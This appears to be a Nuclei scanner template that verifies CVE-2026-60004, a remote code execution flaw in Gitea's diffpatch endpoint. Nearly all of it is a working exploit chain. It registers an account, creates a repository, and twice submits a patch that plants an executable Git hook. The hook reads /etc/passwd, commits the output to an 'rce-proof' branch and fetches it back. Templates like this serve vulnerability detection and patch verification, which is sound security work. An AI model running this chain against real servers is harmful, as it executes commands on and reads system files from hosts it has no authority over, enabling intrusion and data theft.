id: CVE-2026-60004

info:
  name: Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.
  impact: |
    Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.
  remediation: |
    Update to Gitea version 1.27.1 or later.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
    - https://github.com/EQSTLab/CVE-2026-60004
    - https://nvd.nist.gov/vuln/detail/CVE-2026-60004
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-60004
    cwe-id: CWE-94
  metadata:
    max-request: 9
    verified: true
    vendor: go-gitea
    product: gitea
    shodan-query: "Gitea"
    fofa-query: app="Gitea"
  tags: cve,cve2026,gitea,rce,intrusive

variables:
  ruser: "testpoc{{rand_int(10000,99999)}}"
  rpass: "T3stP0c!{{rand_int(10000,99999)}}"
  remail: "testpoc{{rand_int(10000,99999)}}@test.local"
  rrepo: "poc-{{rand_int(10000,99999)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  - raw:
      - |
        GET /user/sign_up HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "user_name") || contains(body, "sign_up")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="_csrf"\s+content="([^"]+)"'
          - 'name="_csrf"\s+value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /user/sign_up HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302 || status_code == 303'
        internal: true

  - raw:
      - |
        POST /api/v1/user/repos HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"name":"{{rrepo}}","private":true,"auto_init":true,"default_branch":"main"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(branch_sha) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: branch_sha
        json:
          - '.commit.id'
        internal: true

  - raw:
      - |
        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+  /*) ;;\n+  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-1", "branch": "main", "sha": "{{branch_sha}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'len(commit_sha1) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: commit_sha1
        json:
          - '.commit.sha'
        internal: true

  - raw:
      - |
        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+  /*) ;;\n+  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-2", "branch": "main", "sha": "{{commit_sha1}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"CVE-2026-60004 RCE | Gitea | /etc/passwd: " + body'
# digest: 4b0a00483046022100bc8aed32e9d280fcd4274d3d970ad1e5fcb6c6e418f113c95fe85ec82dbb0ce4022100d830379134123169e80e2a3c387e6940488521d629439519e884389aabd72a54:922c64590222798bb761d5b6d8e72950